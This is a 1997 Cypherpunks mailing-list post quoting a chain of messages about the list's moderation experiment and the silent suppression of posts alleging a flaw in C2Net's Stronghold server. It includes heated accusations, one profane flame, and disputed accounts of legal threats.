]As I just replied to "Against Moderation" on, I would like to see these
]articles which were suppressed. Please repost them to the list, and copy me
]to ensure that I get them.
]
]If this claim is true, that Sandy blocked criticism of Stronghold from
]reaching either the Main list (bad enough), or from even going out at all
]on the Flames list (reprehensible), then this is an extremely serious
]charge.
]
]If the claim is true that Sandy used articles sent to the Cypherpunks list,
]but never distributed to the list, as the basis by the company which
]employs him of legal threats of any kind, then this is even more than just
]"extremely serious."
]
]I would like to hear more from Vulis, and copies of any such articles, and
]of course would like to hear Sandy's version of things.
]
]This is too serious a charge not to resolve.
]
]--Tim May
]
]Just say "No" to "Big Brother Inside"
]We got computers, we're tapping phone lines, I know that that ain't allowed.
]---------:---------:---------:---------:---------:---------:---------:----
]Timothy C. May              | Crypto Anarchy: encryption, digital money,
]tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
]W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
]Higher Power: 2^1398269     | black markets, collapse of governments.
]"National borders aren't even speed bumps on the information superhighway."



]Date: 8 Feb 1997 04:31:15 -0000
]Message-Id: <19970208043115.2364.qmail@anon.lcs.mit.edu>
]From: Against Moderation <antimod@nym.alias.net>
]Subject: The Frightening Dangers of Moderation
]To: cypherpunks@toad.com
]Cc: tcmay@got.net
]Precedence: bulk
]
]-----BEGIN PGP SIGNED MESSAGE-----
]
]Well, folks, tonight I have witnessed the frightening dangers of
]moderation and censorship first-hand, and would like to tell you what
]has happened.  I think there is an important lesson to be learned from
]these incidents.
]
]Before I explain what has happened, I want to make one thing
]absolutely clear.  Though I've thought the moderation of cypherpunks
]was a terrible idea from the start and am even more convinced of it
]now, I don't assign any blame to Sandy.  I believe he offered to
]moderate the list with the best of intentions, and I sincerely
]appreciate his efforts to try to revive what was once a fantastic
]mailing list, even if in my opinion those efforts have backfired.
]
]Sandy has been a valuable advocate of cypherpunk beliefs and a lively
]contributor to cypherpunks list for a long time.  Though the
]moderation experiment has resulted in some terrible consequences, we
]can't blame him for what has happened.  If the events I have witnessed
]tonight occured with such a high-standing member of the cypherpunks
]community in charge, the cause of them can only be the very nature of
]moderation and censorship.  I don't think any of us could have done
]much better in Sandy's shoes.
]
]Now, what happened tonight?  As some of you may recall, a month or so
]ago I vehemently argued against the elimination of the
]cypherpunks-unedited mailingt list.  Some people (though no one
]associated with toad.com) were claiming that 3 mailing lists might be
]too much load, and that having cypherpunks and cypherpunks-flames
]would be enough.  I argued that not only would the delay of waiting
]for a decision put alternate cypherpunks moderators at a disadvantage,
]it would make it farm more difficult to convince people of the
]moderator's honesty as there would be no guarantee that messages made
]it to either list.  Fortunately, cypherpunks-unedited did get created
](it seems no one "in charge" ever intended not to create it).
]
]Well, as it turns out, a number of messages have made it neither to
]cypherpunks nor to cypherpunks-flames.  Making matters worse, however,
]not only are certain messages being suppressed from both lists, but
]even messages mentioning that fact get suppressed from both the
]cypherpunks and the cypherpunks-flames lists!
]
]Here's exactly what happened.  I was beginning to believe that Dmitri
]Vulis had sent an (admitedly objectionable) message to the cypherpunks
]mailing list, but that the message had gone to neither the cypherpunks
]nor the cypherpunks-flames lists.  Since I was under the impression
]that every article was supposed to go to one list or the other, and
]many people probably still believe that, I mentioned this somewhat
]startling fact on the cypherpunks mailing list, I believe in response
]to a post by Tim May on the same subject.
]
]Tim replied (in a message Cc'ed to cypherpunks--though I don't think
]it went anywhere but to -unedited), asking me in the message, "Can you
]send to the list, with a copy to me, the articles CENSOREDCENSOREDCENS
]OREDCENSOREDCENSORE?"  I therefore went back through my mail archives
]and found a copy of the message that I believed had gone to neither
]mailing list.  I sent it to Tim and to cypherpunks.  I prepended a few
]paragraphs in which I asked people to confirm that the message had
]gone to neither mailing list.  Among other things in those paragraphs,
]I stated that Vulis's message was "verifiably false".  It was clear
]from the context that I was forwarding this message to ask people
]which lists it had gone to, not because I believed the content to be
]correct or even at all convincing or interesting.  That message I
]sent, quoting Vulis's, immediately follows this message, after the
]line '========'.
]
]Then, tonight, I received a message from Sandy, which I include below
]a second '========' marker.  In that letter, Sandy had explicitly
]aknowledged not only that he had sent Vulis's letter to neither
]mailing list, but that he wouldn't send my letter to either mailing
]list, either!  He claimed that he couldn't forward Vulis's message
]because it was libel, and accused me of committing libel simply by
]quoting Vulis's message, even though I explicitly stated that Vulis's
]message was verifiably false.
]
]Well, this travesty must exposed, even if I can't make known all the
]details for fear of libel charges.  I am therefore forwarding
]everything I can to the cypherpunks mailing list, for all to see.  As
]you can see, Vulis made unfounded and incorrect charges that a
]particular system contained a security hole.  Believe me, if I could
]get into the details of the case I could convince you easily that his
]claim is not true.  However, since even quoting that claim apparently
]opens me up to charges of libel, I can't give you the details.  Thus,
]I have censored (by overriting original text with the letters
]CENSORED) any portion of quoted messages that might give you an
]indication of what system Vulis actually claimed had a security hole.
]
]This censorship should not, however, affect my main point, and the
]lesson that I hope we can all take away from this.  When it comes down
]to it, the details of this case do not matter.  What does matter is
]that even when the "good guys" attempt benign censorship, it can have
]frighteningly far-reaching effects on people's ability to discuss
]otherwise reasonable topics such as the mechanics of the cypherpunks
]list.  I generally dislike censorship and moderation, but the
]consequences of the cypherpunks experiment have gone far beyond
]anything I could have imagined.
]
]In closing, let me reiterate that I don't think most of this is
]Sandy's, John's, or anyone else's fault.  Given the knowledge I have
]of this case, I believe Sandy has unwittingly found himself ensnarled
]in a nasty legal situation where, for fear of legal reprisal he must
]block articles that he has a moral obligation to send to
]cypherpunks-flames.  I certainly don't envy his position.
]
][To moderator Sandy:  I believe we must get the content of this
]message to the main cypherpunks mailing list.  I have done everything
]I can to ensure that the message contains no libel.  If, for some
]reason, you still can't send it on to the main cypherpunks mailing
]list, can you please tell me specifically which parts cause problems.
]I will the CENSOR them out and try again.  This message contains
]important, highly relevant information for the cypherpunks community.
]Please help me do what it takes to get it accepted by the moderation
]process.  Thanks.]
[snip]
]Date: Fri, 7 Feb 1997 16:45:31 -0800 (PST)
]From: Sandy Sandfort <sandfort@crl.com>
]To: Against Moderation <antimod@nym.alias.net>
]Subject: Re: Is Sandy really censoring criticisms of CENSOREDCENSOREDCENSORE?
]In-Reply-To: <19970207220720.15530.qmail@anon.lcs.mit.edu>
]
]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
]                          SANDY SANDFORT
] . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
]
]Hi,
]
]On 7 Feb 1997, Against Moderation wrote:
]
]> What I object to more strongly and think is wrong is the
]> fact that it went to *neither* list.
]
]Unfortunately, it's not as simple as that.  As soon as I can
]arrange it with John, I am going to stop moderating the list.
]In the interim, I *will not* be sending your post onto either
]the Flames or the Moderated lists.  This is done for legal
]reason.  As it is, you have already published a libel on the
]unedited list by repeating Dimitri's libel.  This exposes you to
]legal liability, but as an anonymous poster, you are somewhat
]insulated from the consequences of your act.
]
]If you would like to PRIVATELY discuss this matter with me, I
]would not mind going into more detail with you.  Suffice it to
]say, I any re-publication by me of Dimitri's libel would expose
]John and myself to legal liability and could also act to
]insulate Dimitri from liability as a result of CENSOREDCENSOREDCE
]NSOREDCENDOREDCENDOREDC.
]
]Take care,
]
]
] S a n d y

[to be continued]


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 4 Oct 1997 23:29:36 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Stronghold
In-Reply-To: <ed27d264358016b98eb8830bc6b4b0cb@anon.efga.org>
Message-ID: <Vi32De10w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



This is the second chunk of the same.

Tim May described C2net's legal threats:

]Message-Id: <v03007809af21b7779b24@[207.167.93.63]>
]In-Reply-To: <19970208043115.2364.qmail@anon.lcs.mit.edu>
]Date: Fri, 7 Feb 1997 21:46:10 -0800
]To: Against Moderation <antimod@nym.alias.net>, cypherpunks@toad.com
]From: "Timothy C. May" <tcmay@got.net>
]Subject: Re: The Frightening Dangers of Moderation
]Cc: hugh@toad.com
]
]At 4:31 AM +0000 2/8/97, Against Moderation wrote:
]>-----BEGIN PGP SIGNED MESSAGE-----
]>
]>Well, folks, tonight I have witnessed the frightening dangers of
]>moderation and censorship first-hand, and would like to tell you what
]>has happened.  I think there is an important lesson to be learned from
]>these incidents.
]
](long account of getting legal threats for quoting a message about CENSORED
]elided)
]
]This is indeed an important incident. I hope we can discuss it. Many issues
]central to Cypherpunks are involved. To name a few:
]
]* the moderation/censorship issue itself (though we have probably beaten
]this one to death in the last few weeks).
]
]* the "libel" issue, especially as it involves Sandy, his company, and the
]machine the list is hosted from. The introduction of a censor has, as many
]of us predicted, raised serious libel and liability issues. (This is the
]best reason I can think of it to move to an "alt.cypherpunks" system, where
]bypassing of liability, libel, copyright violation, etc.,  laws is
]naturally handled by the globally decentralized and uncontrolled nature of
]Usenet.)
]
]* conflicts of interest issues. Apparently Sandy feels information
]deleterious to C2Net, having to do with a claimed CENSORED in the software
]product CENSORED, cannot be passed by him to _either_ of the two lists to
]which articles are supposed to be sent. (Sadly, he did not tell us of this
]meta-censorship when it happened. This made what he did deceptive as well
]as wrong.)
]
]* chilling of discussion. As "Against Moderation" notes, merely _quoting_
]the article of another caused Sandy to not only reject his article, but
]also to contact him and raise the threat of legal action. (This even though
]Against Moderation added all sorts of "obviously false" comments to what
]Vulis had written.)
]
]* even more threats. At the request of CENSORED today, I called CENSORED
]and had a verbal communication with him (a nice guy, by the way) about this
]situation. He averred that "you don't want to be pulled into this," and
]suggested that if I post certain things, even quoting the reports that a
]CENSORED exists in CENSORED, I could well be sued by the lawyers of his
]company!
]
]These are issues which remailers, decentralized servers, anonymity, data
]havens, and other Cypherpunks technologies make important issues for us to
]discuss.
]
]
]When did Cypherpunks start thinking about libel? (Obvious answer: when
]_their_ companies were the targets of criticism, lies, libel, whatever.)
]It's not as if insulting or even "libelous" (I'm not a lawyer) comments
]have not been made routinely on the list. Insulting companies and other
]institutions has been standard Cypherpunks fare since the beginning.
]Mykotronx has been accused of high crimes, RSADSI has been declared to be
]placing backdoors in code, Phil Zimmermann has been declared to be an NSA
]plant ("only trust the versions of PGP before he cut the deal to get his
]freedom"), and so on. Think about it. Just about any company with any
]product related to crypto has at one time or another had their motives
]questioned, their products slammed, etc.
]
]Unfortunately, our Late Censor is an employee of one of the companies so
]slammed, and he has reacted by rejecting one or more of these slams without
]bothering to tell the list that he has to do so. (Were it me, I would have
]"recused" myself from the decision, or at least told the list in general
]terms what was going on, or, more likely, resigned as censor. But then I
]would never have been a list.censor in the first place.)
]
]I understand that Sandy is stepping down as our Moderator. The Censor is
]Dead, Long Live Sandy! I expect to harbor no continuing resentment toward
]Sandy (though I expect things will be strained for a while, as might be
]expected).
]
]The issues raised are ugly ones. Here's what scares me: the "precedent" may
]irretrievably be established that companies offended by words on the list
]will threaten legal action to recover their good name. I can imagine
]Mykotronx or even First Virtual citing the actions of C2Net as a precedent
](a cultural precedent, to the extent there is such a thing) for their own
]legal letters.
]
]As with the terrible precedent set by the "even Cypherpunks had to censor
]themselves" experiment, these companies may be able to say "But even a
]Cypherpunk-oriented company realized that the antidote for damaging speech
]was not rebutting speech. No, these Cypherpunks realized that some
]threatening letters and pulling the plug on the speaker was a better
]approach."
]
]And we won't be able to easily argue that Mykotronx has no right to do this
]while C2Net does.
]
]Sandy, in his message a few hours ago to Against Moderation, even made the
]claim (and Sandy _is_ a lawyer, or at least once was) that John Gilmore
]could be held liable for speech on the Cypherpunks list. (I don't doubt the
]"could," but I hate like hell to see a Cypherpunkish company leading the
]charge.)
]
]Perhaps this is true. But the Censorship experiment, and the resulting
]threats of legal action by C2Net to stop mention of the alleged CENSORED in
]their product CENSORED, fuel the fire. Instead of denigrating such legal
]moves--as I'm sure most Cypherpunks would have done a few years ago if
]RSADSI were to try to sue people for making outrageous claims--we have a
]major company consisting of several leading Cypherpunks making just such
]threats.
]
]I'm not a legal scholar, but is it really the case that merely _alluding_
]to the allegedly libelous comments of another is itself a libel? Is a
]reporter who writes that "Person X has alleged that Product Y has a Flaw Z"
]thus committing a libel? (I don't think so, as reporters frequently report
]such things. If merely quoting an alleged libel is also libel, then
]presumably a lot of reporters, and even court clerks reporting on cases,
]are libelers.)
]
](ObLisp reference: quoting an expression ought to have a different return
]value than evaluating an expression! That's what quotes are for.)
]
]My comments this past week have not been motivated by animosity toward
]Sandy, and certainly my comments today are not motivated by any animosity
]about C2Net or any of its employees (including CENSORED, whom I spoke with
]today).
]
]My comments started out as being a summary of why I had left Cypherpunks
]when the Great Hijacking was announced. Since last Sunday, when I issued my
]"Moderation" post, I've only responded to messages I was CC:ed on, or to
]messages on the Flames list, which I subscribed to temporarily to better
]see what Sandy was calling flames. The discovery that certain posts were
]not appearing on either the Main list or the Flames list triggered today's
]comments about Sandy and the alleged CENSOREDCENSOREDCENSORED (blah blah
]blah).
]
]I hope we can declare this Censorship experiment a failure and move on.
]However,  it is almost certain that as a result of attempts to suppress
]certain views, that the move back to an unfiltered state will mean that
]some will use anonymous remailers and nym servers to post even _more_
]claims, however outrageous.
]
]This is a predictable effect. Cf. Psychology 101 for an explanation.
]Kicking Vulis off the list predictably produced a flood of Vulis
]workarounds, and a surge in insults via anonymous remailers. Instituting
]censorship of the list triggered a flood of comments critical of the
]experiment, and a predictable "testing" of the censorship limits. And,
]finally, now that C2Net is threatening legal action to stop
]discussion--even in quotes!!--of alleged CENSORED in CENSORED, expect a lot
]of repetition of these claims via remailers. And, I predict, claims about
]CENSORED will even be spread more widely, e.g., on the Usenet.
]
](Sadly, I half expect a letter from some lawyers or lawyer larvae saying I
]am "suborning libel," or somesuch nonsense. As Sandy would say, "piffle."
]Lawyers, take your best shot.)



]Message-Id: <v03007800af225b8581dd@[207.167.93.63]>
]Date: Sat, 8 Feb 1997 09:22:08 -0800
]To: cypherpunks@toad.com
]From: "Timothy C. May" <tcmay@got.net>
]Subject: META: Censorship is Going Way too Far
]
]
]Fellow Cypherpunks (of the virtual community, even if not part of any
]particular version of the list(s)),
]
]
]I am about to drive over the Santa Cruz mountains for today's physical
]meeting at Stanford, and made my last check of the Singapore archive site
]to see if my last several messages to the CP list have appeared. (The
]Singapore site archives the main list every four hours; the latest update
]is 08:15 PST, local time.)
]
]They have _not_ appeared, on either of the two lists, the main list and
]filtered list. I don't know if they have appeared on the "unfiltered" list,
]as I don't have access to an archive site for that, and don't subscribe to
]it.  Some of these articles are now more than 18 hours old.
]
](I scanned the archive site carefully and did not see any of my articles.
]If I somehow missed them (all four?!), I apologize to the Moderator and
]will make an appointment with my eye doctor.)
]
]Further, messages dated _much_ later in time are now on the Singapore site,
]meaning they were "approved." (The latest such message I see is from J.
]Blatz, and is dated 2/8/97, 02:58 a.m., EST, which is fully 10 hours after
]the first of my messages which never appeared on either the main list or
]the flames list.)
]
]My articles are dated:
]
]* 2/7/97, 1:46 p.m. PST
]
]* 2/7/97, 1:59 p.m., PST
]
]* 2/7/97, 3:03 p.m., PST
]
]* 2/7/97, 9:46 p.m., PST
]
]I would normally give the message names here, but I suspect that even
]mention of the message titles would cause _this_ message to be filtered
]into the black hole  list. So, by avoiding even mention of the message
]titles, I should be safe. Nothing in this message can be considered flamish
](beyond normal criticism) or libelous.
]
](Many articles with dates later than these have already appeared on the
]main list, and some have already appeared on the Flames list. Why have none
]of my articles gone through as of this morning?)
]
]The subjects of my articles deal with the claims made by "Against
]Moderation" and Vulis that certain articles were filtered from the stream
]of articles without appearing on either the main list or the flames list,
]and with no mention by the Moderator of this significant change to the
]moderation policies.
]
]I surmise that my articles are similarly vanishing into a black hole,
]presumably because I have questioned the policies here. (Possibly my
]articles have been side-tracked for further review, or for review by a
]certain company's legal staff, or whatever. If so, this should be explained
]to the main list. And the implications of this, if it is happening, should
]be discussed on the main list.)
]
]By the way, I will deliberately make no mention of the details of my
]articles, or of those by Against Moderation, as I also surmise that any
]articles dealing with a certain product by a certain company will be
]filtered out completely.
]
](I carefully did not repeat the claims made against one of these products
]in my articles, so there is no way under the sun I can be charged in any
]court with "libel.")
]
]To paraphrase the Detweiler of a couple of years ago, "I am quite shocked
]by this situation." It is one thing to filter out posts which contain
]infantile, barnyard taunts and insults, it is quite another to filter out
]_content_.
]
]And it is even worse to not pass on these filtered comments to the "flames"
]list, which was putatively set up to contain such comments. Worse still
]that the list as a whole is not being told of this policy, and that posts
]which mention it are not going out.
]
](There has been some discussion of articles not going out, such as in Igor
]Chudov's recent articles, but I surmise from his article that Igor is
]unaware of the filtering I'm talking about here. I am copying Igor on this
]message, to ensure he knows at least part of what is going on here.)
]
]There is no justification in any of the stated moderation goals for
]blocking articles such as mine, or this one.
]
]As my posts yesterday did not contain flames or insults (beyond normal
]minor turns of phrase some might not like, just as _this_ post contains
]mildly flamish comments if one is so inclined to see _any_ criticism as
]flamish), they should have appeared on the main list. They have not, so
]far, even though articles generated many hours later have already appeared
]on the main list.
]
]And, as of minutes ago, they have not appeared on the Flames list, even if
]the Moderator decided they were flamish. (Even if _one_ was, arguably, not
]all of them were.)
]
]So, we are increasingly in a situation where:
]
]a. the moderation policies appear to be changing on a daily basis
]
]b. articles which are not even flamish are being dumped
]
]c. some of these dumped articles are not even appearing on the "Flames" list
]
]d. the appearance of a conflict of interest is increasing
]
]e. discussion is being squelched
]
]I am cc:ing this message to a handful of Cypherpunks to ensure that it gets
]some propagation before today's meeting.
]
]I find it very sad that things have come to this.
]
]
]--Tim May

I wrote:

]Subject: Re: META: Censorship is Going Way too Far
]From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
]Message-Id: <68qT2D82w165w@bwalk.dm.com>
]Date: Sat, 08 Feb 97 15:39:16 EST
]In-Reply-To: <199702081136.LAA26752@mailhub.amaranth.com>
]
]"William H. Geiger III" <whgiii@amaranth.com> writes:
]>
]> In <v03007800af225b8581dd@[207.167.93.63]>, on 02/08/97 at 11:22 AM,
]>    "Timothy C. May" <tcmay@got.net> said:
]>
]> >They have _not_ appeared, on either of the two lists, the main list and
]> >filtered list. I don't know if they have appeared on the "unfiltered" list,
]> >I don't have access to an archive site for that, and don't subscribe to it.
]> >Some of these articles are now more than 18 hours old.
]>
]> All 4 of your post made it to the unfiltered list.
]>
]> I don't know what made it to the moderated/flam list as I had switched to the
]> unmoderated list yesterday morning.
]
]I'm monitoring all 3 lists... A whole batch of Tim's posts made it to the
]cypherpunks-unedited list, but to neither filtered list (he listed them in
]another article that appeared so far on the "unedited" list but not on
]either filtered list).
]
]Also a message on the taboo subject from John Young appeared on 'unedited'
]but not on either filtered list. Its headers were:
]
]]Message-Id: <1.5.4.32.19970207222314.006ca6f0@pop.pipeline.com>
]]Date: Fri, 07 Feb 1997 17:23:14 -0500
]]To: cypherpunks@toad.com
]]From: John Young <jya@pipeline.com>
]
](I suppose Sandy can't stop JYA from placing it on his Web site, can he? :-)
]
]A whole lot of my articles over the last week didn't make it to either
]filtered list. This is nothing new... but the following is:
]
]My article, quoting the threatening letter that C2Net's lawyers had sent
]me, has not appeared even on cypherpunks-unedited! Its headers were:
]
]]To: cypherpunks@toad.com
]]Cc: tcmay@got.net,antimod@nym.alias.net
]]From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
]]Message-ID: <ZyeT2D76w165w@bwalk.dm.com>
]]Date: Sat, 08 Feb 97 11:14:34 EST
]]In-Reply-To: <v03007803af21536e1a68@[207.167.93.63]>
](i.e., in reply to Timmy May's article that appeared on the unedited list,
]but not on either filtered list.)
]
]I'd like to know whether the cc: recipients got it. Thanks.
]I'm also bcc'ing this article to a bunch of people, and encourage them
]to quote it to the list.
]
]I assume that suppressing my articles from appearing on the unedited
]list would require cooperation from John Gilmore.
[snip]

Someone wrote:
]Date: Mon, 10 Feb 1997 06:33:13 -0800
]From: Cuckoo <cuckoo@cuckoo.com>
]To: cypherpunks@toad.com
]Subject: Re: Who's Censoring Who?
]References: <1.5.4.32.19970209181732.006dba6c@pop.pipeline.com> <32FF2971.6099@cuckoo.com>
]
]John Young wrote:
] > Sandy's e-mailed several of us who've sent messages about Vulis's
] > ploy to put Sandy in a conflict-of-interest bind
]
]   Did Sandy happen to mention how the evil Dr. Vulis managed to
] twist his impressionable young mind so that his only concern about
] libel is centered around his employer?
]
]   Did Sandy mention why his employer went nuclear over the mention
] of the 'b-d' word by an individual whom his employees on the list
] regularly label as a troublemaker and a nut case?
] (Methinks they doth protest _too_ much?)
]
]   Did Sandy mention that his employer is in the postion of owning
] the cypherpunks.com domain-name and is in a great postion to profit
] by controlling and/or destroying the cypherpunks list?
]   Did Sandy mention that when his own takeover of the list (by
] virtue of 'moving' the subscribers into a list filtered by himself)
] faltered, by becoming an open joke, that one of his fellow employees
] called for the "killing" of the list?
]   Did Sandy mention that the pecker-tracks of his employers minions
] leave a sordid trail across the whole face of this whole censorship
] farce?
]
]   Gee, John, I wish that I had crypto software to sell, and employees
] who were in control of the reputation capital of the cypherpunks list.
] I wish that I had a domain named cypherpunks.com waiting to capitalize
] on the cypherpunks name to sell my crypto software.
]   Of course, some asshole somewhere might regard this as a "ploy"
] to profit from creating misfortune for the cypherpunks. They might
] even think that I had a hand in that misfortune.
]
]
] > It's probably worth saving accusations of censorship for the real
]> thing
]   What fucking planet have you been living on, shit-for-brains?
]   We're not talking about "accusations," here. We're talking about
] posts by average list subscribers who are coming forward and speaking
] out about the facts surrounding the misappropriation of their posts
] in order to further the private interests of Sandy.
]   We're talking about the suppression of postings which Question
] Authority. We're talking about shit-canning postings without
] informing the list, because the actions are reprehensible. We're
] talking about censorship which, in the censor's own words, is not
] based on crypto-relevancy, but a changing morass of ill-defined
] 'Sandy rules' (or 'Sandy Rules!', if you prefer).
]   We're talking about robotic censorship where those who do not
] bend under the jackboots suppressing free speech on the cypherpunks
] list are auto-botted to cypherpunks-dontsaybadthingsaboutmyemployer.
]
]   Your posts are usually fairly intelligent, so I have no idea why
] you are wasting your own reputation capital attempting to defend
] an inept, lame-duck censor who is too cowardly to defend his own
] vile actions.
]   Instead, he declares that he has absolutely no interest in
] filtering out the "Make Money Fast" and "Penis-Picture" garbage
] for list members if he can't use his usurped-power to slam the
] jackboots down on any niggling detail that doesn't serve his
] own private interests.
]
] Cuckoo (<-- Dr. Vulis 'made' me use this name.)


Gilmore defends C2net's censorship:
]To: cypherpunks@toad.com, gnu@toad.com
]Subject: Moderation experiment almost over; "put up or shut up"
]Date: Tue, 11 Feb 1997 03:54:29 -0800
]From: John Gilmore <gnu@toad.com>
]Sender: owner-cypherpunks@toad.com
]
]Sandy hit a pothole in the moderation experiment when Mr. Nemesis
]submitted a posting containing nothing but libelous statements about
]Sandy's employer.  He never anticipated that he wouldn't be able to
]follow his announced "post it to one list or the other" policy because
]to do so would make him legally liable (in his opinion; he's a lawyer,
]I'm not).  His gears jammed, and the whole machine came to a halt for
]a few days.
[snip]


Dr. Adam Back's analysis is pretty accurate:
]Date: Sun, 16 Feb 1997 23:49:09 GMT
]Message-Id: <199702162349.XAA00536@server.test.net>
]From: Adam Back <aba@dcs.ex.ac.uk>
]To: cypherpunks@toad.com
]Subject: Moderation experiment and moderator liability
]
]
]There appears to be a bit of a hush up surrounding the circumstances
]of the pause in the moderation experiment and subsequent change of
]moderation policy.
]
]To clear the air, I think it would be kind of nice if the full story
]were told, so I'll gather here a history as I understand it.
]Information from my archives (those I have), and from asking around in
]email.
]
]I realise that some of the actions that I am claiming of participants
]in this sequence of events seem hard to believe given their high
]reputation capital.  I was myself initially dubious on the strength of
]the reputation capital of those being critisized.
]
]However the below is the sequence of events as close as I can
]determine.
]
]I welcome being proven wrong on any points.
]
]
]Events:
]
]1. Dimitri Vulis posted a lot of off topic posts over a period of time
]
]2. Dimitri reposted a couple of 50k Serdar Argic revisionist articles
]
]3. Dimitri challenged John Gilmore to shut him up
]
]4. John unsubscribed Dimitri, and modified majordomo@toad.com to
]siltently ignore Dimitri's attempts to resubscribe.  Dimitri could
]still post, and presumably read cypherpunks with a different email
]address or via an archive.  It was a token unsubscription only.
]
]5. When Dimitri figured out what John had done, he made many posts
]denigrating John as a censor
]
]6. Much discussion ensued critisizing John for blocking Dimitri
]
]7. Over Christmas some joker subscribed cypherpunks@toad.com to a load
]of sports mailing lists, Hugh Daniels and John cleaned up the mess
]
]8. Followed a long thread on hardening lists against spam attacks
]
]9. John made a post to the list announcing that the list would be
]moderated for one month from Jan 11 as an experiment, and included
]Sandy Sandfort's proposed moderatation policy and offer to act as
]moderator.  It appeared that the moderation experiment was Sandy's
]suggestion, and that John had agreed to go along with it.
]
]10. Some discussion both pro and con of moderation, and the technical
], free speech, and legal aspects followed
]
]11. Moderation started Jan 19, the main list became the moderated list
]
]12. Lots of people complained about the moderation, some defended it
]Tim May quietly unsubscribed
]
]13. Some people complained about inconsistency in moderation -- some
]articles which went to flames were not flamish, but made by posters
]with low reputation capital, or were following up to posts which were
]flamish.
]
]14. After a while some people commented on Tim's absence, and sent him
]mail asking what happened.  Tim posted an article explaining that he
]had left because of the imposed moderation without discussion.
]
]15. John followed up with a post defending the moderation experiment,
]and arguing for it's popularity (he claimed as evidence the number of
]posters who had not taken the trouble to move to the unedited list).
]
]16. Dimitri posted an article where he claimed that there was a
]security flaw in Stronghold.  Stronghold is C2Nets commercial version
]of the freeware Apache SSL web server.  Sandy is employed by C2Net.
]
]17. Sandy dropped the posting entirely -- it went to neither
]cypherpunks (edited), nor cypherpunks-flames.  He considered that
]forwarding the posting would have made him legally liable.  Sandy is a
]lawyer by profession.  He did not explain this situation on the list.
]
]18. Tim May had by now subscribed to cypherpunks-flames, and posted
]several follow-ups to Dimitri's posting, discussing the issue of
]Dimitri's post being dropped, and stated that Dimitri's posting was
]not flamish, and should not have been dropped in his opinion.  Tim's
]postings were also silently dropped, going to neither of cypherpunks
](edited), and cypherpunks-flames.
]
]19. Sandy made an announcement that he was ending his participation in
]the moderation experiment.  Still no explanation of why posts were
]dropped, or even admission that they were.
]
]20. The two moderated cypherpunks lists (cypherpunks and
]cypherpunks-flames) went dead for some time.
]
]21. Tim received a warning from C2Net's lawyers that if he did not
]desist from mentioning that Dimitri had posted an article criticising
]a C2Net product that he would be sued!
]
]22. John posted a statement where he explained Sandy's sudden
]announcement of ending his particpation.  John explained that Sandy
]had "hit a pothole in the moderation experiment when Mr. Nemesis
]submitted a posting containing nothing but libelous statements about
]Sandy's employer".  Sandy did not drop Johns posting even though it
]covered the same topics that had resulted in Tim's posts being
]dropped, and resulted in Tim receiving legal threats from C2Net.  In
]the same post John said that he had come to the conclusion that he was
]no longer willing to host the cypherpunks list.  In this post John
]announced that Sandy had been persuaded to continue to moderate for
]the remainder of the moderation period, and gave the new policy.  The
]changes were that anything other than crypto discussion and discussion
]of forming a new cypherpunks list would go to flames, and anything
]that Sandy thought was libelous would be dropped silently.
]
]23. Sandy posted a statement affirming that he would continue to
]moderate, and that if any cypherpunks wished to discuss his prior
]moderation policy and performance as a moderator that they do it on
]new lists which they create themselves.
]
]
](If Sandy's current moderation criteria mean that he feels obliged to
]forward this post to cypherpunks-flames as off-topic, or even to
]silently drop it from both moderated lists, so be it.  I will simply
]repost it later, when the moderation experiment is over on one of the
]new lists.  In the event of myself receiving legal threats, I shall
]simply post it via a remailer, or rely on someone else to do so.  C2
]does not appear to be running any remailers at the moment, otherwise I
]would use a remailer hosted at c2.net as the exit node in the remailer
]chain.)
]
]
]The positive outcome of all this has been to make the cypherpunks list
]more resilient to legal attack.  The new distributed list seems to be
]progressing well, and will be less liable to attack.  Filtering
]services continue, as they should.  And alt.cypherpunks has been
]created as a forum ultimately resistant to legal attack.
]
]Also I should say that I would hope that no one holds any long term
]animosity towards any of the players in this episode, many of the
]people have been very prolific in their work to further online privacy
]and freedom, and I hope that we can all put this chapter behind us.
[snip]

C2Net denied threatening to sue Tim May, so he refuted their lies:
]Message-Id: <199702170412.UAA18115@toad.com>
]Date: Sun, 16 Feb 1997 19:14:04 -0800
]From: Tim May <tcmay@got.net>
]To: cypherpunks@toad.com
]Newgroups: alt.cypherpunks, alt.privacy, comp.org.eff.talk
]Subject: Threats of Legal Action and C2Net/Stronghold Issue
]
](A copy of this message has also been posted to the following newsgroups:
]alt.cypherpunks,  alt.privacy, comp.org.eff.talk)
]
]
]At 6:07 PM -0800 2/16/97, Sandy Sandfort wrote:
]
]>Curiously, in a subsequent telephone conversation, Tim May
]>proposed almost that exact suggestion as an alternative form of
]>moderation that he said would have been acceptable to him.  Go
]>figure.
]
]The only phone conversation I had was with Doug Barnes, at the request of
]Doug that I urgently phone either him or Sameer. I called Doug as soon as I
]got the message. (Doug also said he was the only one in the room at the
]time, and that the call was *not* being recorded, so I have to surmise that
]Sandy got his version of things via a recap by Doug.)
]
]
]>> 21. Tim received a warning from C2Net's lawyers that if he did not
]>> desist from mentioning that Dimitri had posted an article criticising
]>> a C2Net product that he would be sued!
]>
]>Absolutely false.
]>
]
]What Doug told me was that Dimitri Vulis had already been served with a
]legal notice about his warnings about a security flaw in Stronghold, and
]that any repetition of Dimitri's claims by me or anyone else would result
]in similar legal action.
]
]Doug said that any repetition of the claims, even as part of a quote, would
]be seen as actionable by C2Net. "We'll vigorously defend our rights." (as
]best I can recall) He said he thought my messages, to the extent they
]merely _alluded_ to the claims were probably OK and that they would
]certainly go through to the list, as Sandy has already resigned from his
]role as moderator.
]
](For the record, these messages DID NOT GO THROUGH, and have not gone
]through as of tonight, 8-9 days later. However, I have forwarded them to
]several people who requested them.)
]
](I also did not have a recorder running, so I can't claim this is a
]verbatim summary of what was said. As to what I said about how the
]moderation thing might have been done differently, Doug and I chatted for a
